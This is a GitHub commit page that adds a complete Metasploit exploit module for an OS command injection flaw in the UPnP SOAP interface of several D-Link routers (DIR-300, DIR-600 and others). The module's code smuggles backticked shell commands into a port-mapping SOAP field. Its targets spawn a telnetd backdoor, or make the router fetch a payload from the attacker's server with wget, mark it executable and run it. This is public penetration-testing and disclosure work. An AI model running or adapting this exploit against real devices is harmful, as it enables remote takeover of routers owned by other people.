Skip to content

Commit c1c72de

Browse files
author
jvazquez-r7
committed
Land @2127, @m-1-k-3's exploit for DLink UPNP SOAP Injection
2 parents 3c3a951 + 4beea52 commit c1c72de

File tree

1 file changed

+326
-0
lines changed

1 file changed

+326
-0
lines changed
Lines changed: 326 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,326 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::Remote::HttpServer
15+
include Msf::Exploit::EXE
16+
include Msf::Exploit::FileDropper
17+
include Msf::Auxiliary::CommandShell
18+
19+
def initialize(info = {})
20+
super(update_info(info,
21+
'Name' => 'D-Link UPnP SOAP Command Execution',
22+
'Description' => %q{
23+
Different DLink Routers are vulnerable to OS Command injection in the UPnP
24+
SOAP interface.
25+
Not every device includes wget which we need for deploying our payload.
26+
On such devices you could use the telnet target for starting a telnet server or the
27+
cmd generic payload and try to start telnetd or execute other commands. Since it is
28+
a blind OS command injection vulnerability, there is no output for the executed
29+
command when using the cmd generic payload. A ping command against a controlled
30+
system could be used for testing purposes. This module has been tested successfully
31+
on DIR-300, DIR-600, DIR-645, DIR-845, DIR-865.
32+
It looks like that there are some more D-Link devices affected.
33+
},
34+
'Author' =>
35+
[
36+
'Michael Messner <[email protected]>', # Vulnerability discovery and Metasploit module
37+
'juan vazquez' # minor help with msf module
38+
],
39+
'License' => MSF_LICENSE,
40+
'References' =>
41+
[
42+
[ 'OSVDB', '94924' ],
43+
[ 'BID', '61005' ],
44+
[ 'EDB', '26664' ],
45+
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ]
46+
],
47+
'DisclosureDate' => 'Jul 05 2013',
48+
'Privileged' => true,
49+
'Platform' => ['linux','unix'],
50+
'Payload' =>
51+
{
52+
'DisableNops' => true,
53+
},
54+
'Targets' =>
55+
[
56+
[ 'CMD', #all devices
57+
{
58+
'Arch' => ARCH_CMD,
59+
'Platform' => 'unix'
60+
}
61+
],
62+
[ 'Telnet', #all devices - default target
63+
{
64+
'Arch' => ARCH_CMD,
65+
'Platform' => 'unix'
66+
}
67+
],
68+
[ 'Linux mipsel Payload', #DIR-865, DIR-645 and others with wget installed
69+
{
70+
'Arch' => ARCH_MIPSLE,
71+
'Platform' => 'linux'
72+
}
73+
],
74+
],
75+
'DefaultTarget' => 1
76+
))
77+
78+
register_options(
79+
[
80+
Opt::RPORT(49152), #port of UPnP SOAP webinterface
81+
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
82+
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
83+
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
84+
], self.class)
85+
end
86+
87+
def exploit
88+
@new_portmapping_descr = rand_text_alpha(8)
89+
@new_external_port = rand(65535)
90+
@new_internal_port = rand(65535)
91+
92+
if target.name =~ /CMD/
93+
exploit_cmd
94+
elsif target.name =~ /Telnet/
95+
exploit_telnet
96+
else
97+
exploit_mips
98+
end
99+
end
100+
101+
def exploit_cmd
102+
if not (datastore['CMD'])
103+
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
104+
end
105+
cmd = payload.encoded
106+
type = "add"
107+
res = request(cmd, type)
108+
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
109+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
110+
end
111+
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
112+
type = "delete"
113+
res = request(cmd, type)
114+
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
115+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
116+
end
117+
return
118+
end
119+
120+
def exploit_telnet
121+
telnetport = rand(65535)
122+
123+
vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")
124+
125+
cmd = "telnetd -p #{telnetport}"
126+
type = "add"
127+
res = request(cmd, type)
128+
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
129+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
130+
end
131+
type = "delete"
132+
res = request(cmd, type)
133+
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
134+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
135+
end
136+
137+
begin
138+
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
139+
140+
if sock
141+
print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
142+
else
143+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
144+
end
145+
146+
print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
147+
auth_info = {
148+
:host => rhost,
149+
:port => telnetport,
150+
:sname => 'telnet',
151+
:user => "",
152+
:pass => "",
153+
:source_type => "exploit",
154+
:active => true
155+
}
156+
report_auth_info(auth_info)
157+
merge_me = {
158+
'USERPASS_FILE' => nil,
159+
'USER_FILE' => nil,
160+
'PASS_FILE' => nil,
161+
'USERNAME' => nil,
162+
'PASSWORD' => nil
163+
}
164+
start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
165+
rescue
166+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
167+
end
168+
return
169+
end
170+
171+
def exploit_mips
172+
173+
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
174+
175+
#thx to Juan for his awesome work on the mipsel elf support
176+
@pl = generate_payload_exe
177+
@elf_sent = false
178+
179+
#
180+
# start our server
181+
#
182+
resource_uri = '/' + downfile
183+
184+
if (datastore['DOWNHOST'])
185+
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
186+
else
187+
#do not use SSL
188+
if datastore['SSL']
189+
ssl_restore = true
190+
datastore['SSL'] = false
191+
end
192+
193+
#we use SRVHOST as download IP for the coming wget command.
194+
#SRVHOST needs a real IP address of our download host
195+
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
196+
srv_host = Rex::Socket.source_address(rhost)
197+
else
198+
srv_host = datastore['SRVHOST']
199+
end
200+
201+
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
202+
203+
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
204+
start_service({'Uri' => {
205+
'Proc' => Proc.new { |cli, req|
206+
on_request_uri(cli, req)
207+
},
208+
'Path' => resource_uri
209+
}})
210+
211+
datastore['SSL'] = true if ssl_restore
212+
end
213+
214+
#
215+
# download payload
216+
#
217+
print_status("#{rhost}:#{rport} - Asking the DLink device to take and execute #{service_url}")
218+
#this filename is used to store the payload on the device
219+
filename = rand_text_alpha_lower(8)
220+
221+
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}"
222+
type = "add"
223+
res = request(cmd, type)
224+
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
225+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
226+
end
227+
228+
# wait for payload download
229+
if (datastore['DOWNHOST'])
230+
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the DLink device to download the payload")
231+
select(nil, nil, nil, datastore['HTTP_DELAY'])
232+
else
233+
wait_linux_payload
234+
end
235+
236+
register_file_for_cleanup("/tmp/#{filename}")
237+
238+
type = "delete"
239+
res = request(cmd, type)
240+
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
241+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
242+
end
243+
end
244+
245+
def request(cmd, type)
246+
247+
uri = '/soap.cgi'
248+
249+
data_cmd = "<?xml version=\"1.0\"?>"
250+
data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
251+
data_cmd << "<SOAP-ENV:Body>"
252+
253+
if type == "add"
254+
vprint_status("#{rhost}:#{rport} - adding portmapping")
255+
256+
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
257+
258+
data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
259+
data_cmd << "<NewPortMappingDescription>#{@new_portmapping_descr}</NewPortMappingDescription>"
260+
data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
261+
data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
262+
data_cmd << "<NewEnabled>1</NewEnabled>"
263+
data_cmd << "<NewExternalPort>#{@new_external_port}</NewExternalPort>"
264+
data_cmd << "<NewRemoteHost></NewRemoteHost>"
265+
data_cmd << "<NewProtocol>TCP</NewProtocol>"
266+
data_cmd << "<NewInternalPort>#{@new_internal_port}</NewInternalPort>"
267+
data_cmd << "</m:AddPortMapping>"
268+
else
269+
#we should clean it up ... otherwise we are not able to exploit it multiple times
270+
vprint_status("#{rhost}:#{rport} - deleting portmapping")
271+
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
272+
273+
data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
274+
data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{@new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>"
275+
data_cmd << "</m:DeletePortMapping>"
276+
end
277+
278+
data_cmd << "</SOAP-ENV:Body>"
279+
data_cmd << "</SOAP-ENV:Envelope>"
280+
281+
begin
282+
res = send_request_cgi({
283+
'uri' => uri,
284+
'vars_get' => {
285+
'service' => 'WANIPConn1'
286+
},
287+
'ctype' => "text/xml",
288+
'method' => 'POST',
289+
'headers' => {
290+
'SOAPAction' => soapaction,
291+
},
292+
'data' => data_cmd
293+
})
294+
return res
295+
rescue ::Rex::ConnectionError
296+
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
297+
return nil
298+
end
299+
end
300+
301+
# Handle incoming requests from the server
302+
def on_request_uri(cli, request)
303+
#print_status("on_request_uri called: #{request.inspect}")
304+
if (not @pl)
305+
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
306+
return
307+
end
308+
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
309+
@elf_sent = true
310+
send_response(cli, @pl)
311+
end
312+
313+
# wait for the data to be sent
314+
def wait_linux_payload
315+
print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...")
316+
317+
waited = 0
318+
while (not @elf_sent)
319+
select(nil, nil, nil, 1)
320+
waited += 1
321+
if (waited > datastore['HTTP_DELAY'])
322+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
323+
end
324+
end
325+
end
326+
end

0 commit comments

Comments
 (0)